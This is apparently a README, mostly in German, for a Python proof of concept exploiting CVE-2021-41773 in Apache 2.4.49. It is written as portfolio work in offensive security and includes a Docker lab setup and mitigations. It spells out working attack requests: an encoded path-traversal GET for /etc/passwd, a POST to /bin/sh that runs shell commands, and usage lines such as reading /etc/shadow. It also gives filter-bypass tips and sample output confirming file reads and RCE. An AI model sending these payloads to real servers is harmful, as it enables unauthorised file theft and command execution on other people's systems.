
Prueba de concepto de CVE-2021-41773
Nur für den Einsatz in kontrollierten und eigenen Umgebungen. Nicht gegen Systeme ohne Autorisierung verwenden.
PoC entwickelt, um die Schwachstelle CVE-2021-41773 in Apache HTTP Server 2.4.49 zu demonstrieren und zu verstehen.
Der Fehler liegt in der Funktion ap_normalize_path(), die URL-kodierte Zeichen nicht korrekt validierte. Dies ermöglichte einem Angreifer, durch eine Folge kodierter Zeichen (%2e%2e%2f anstelle von ../) aus dem DocumentRoot auszubrechen und beliebige Dateien auf dem System zu lesen.
Wenn das Modul mod_cgi aktiviert war, eskalierte die Schwachstelle zu RCE (Remote Code Execution), wodurch Befehle direkt auf dem Server mit den Berechtigungen des Apache-Prozesses ausgeführt werden konnten.
Der Server muss alle diese Bedingungen erfüllen, um verwundbar zu sein:
| Bedingung | Detail |
|---|---|
| Apache-Version | Genau 2.4.49 |
| Zugriffsrichtlinie | Require all granted in der Konfiguration |
| CGI-Modul | mod_cgi aktiviert (nur für RCE) |
Apache 2.4.49 filterte das klassische ../, aber nicht die URL-kodierte Version. Der Angreifer erstellt einen Pfad, den der Filter nicht erkennt, den das Betriebssystem jedoch korrekt interpretiert:
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f ist die URL-Kodierung von ../. Apache ließ es passieren, das Betriebssystem löste es auf, und das Ergebnis war der Zugriff auf Dateien außerhalb des Webverzeichnisses.
Mit aktivem mod_cgi wird das Path Traversal verwendet, um auf /bin/sh anstatt auf eine Datei zu zielen. Apache behandelt es als CGI-Skript und führt es aus. Der Befehl wird im POST-Body als minimales Shell-Skript übertragen:
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh
#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1
Die Ausgabe des Befehls erscheint in der HTTP-Antwort.
Die sauberste Methode, die Schwachstelle zu reproduzieren, ist mit Docker:
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773
Oder mit einem manuellen Apache 2.4.49-Image mit der verwundbaren Konfiguration:
<Directory />
Require all granted
</Directory>
Ich werde die Konfigurationsdateien hinterlassen, die ich für den Test verwendet habe.
Warum 'urllib3' und nicht 'requests'?
requests kodiert die Zeichen des Pfades vor dem Senden automatisch neu.
Das zerstört das Payload, da der Server %252e anstelle von %2e erhält.
urllib3 erlaubt es, den Pfad unverändert zu senden.
Warum .%2e/ und nicht %2e%2e/?
Apache filtert %2e%2e/ im Modul mod_rewrite.
Die Variante .%2e/ ist semantisch äquivalent, passiert jedoch den Filter,
da die Pfadnormalisierung nach der Validierung erfolgt.
mod_cgi muss aktiviert sein, damit der RCE-Modus funktioniert.
Ohne ihn ist nur Path Traversal möglich.python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <comando>]
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
=======================================================
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos — Solo en entornos propios
=======================================================
[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construida: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...
Servidor Vulnerable, Status code: 200
=== Contenido de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...
[+] RCE confirmados
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 oder höher aktualisieren.Require all denied als Standardwert konfigurieren.mod_cgi deaktivieren, wenn es nicht unbedingt erforderlich ist.⚠️ Dieses Repository dient ausschließlich zu Bildungszwecken.
Die Verwendung dieses Exploits gegen Systeme ohne ausdrückliche Autorisierung ist illegal.
Ausschließlich in kontrollierten lokalen Umgebungen getestet.
PoC entwickelt zu Bildungszwecken für ein Portfolio im Bereich offensive Sicherheit.
| Argument | Erforderlich | Beschreibung |
|---|
--target | Ja | Basis-URL des Servers (z.B. http://localhost:8080) |
--mode | Ja | traversal zum Lesen von Dateien, rce zum Ausführen von Befehlen |
--cmd | Nein | Im Modus rce auszuführender Befehl (Standard: id) |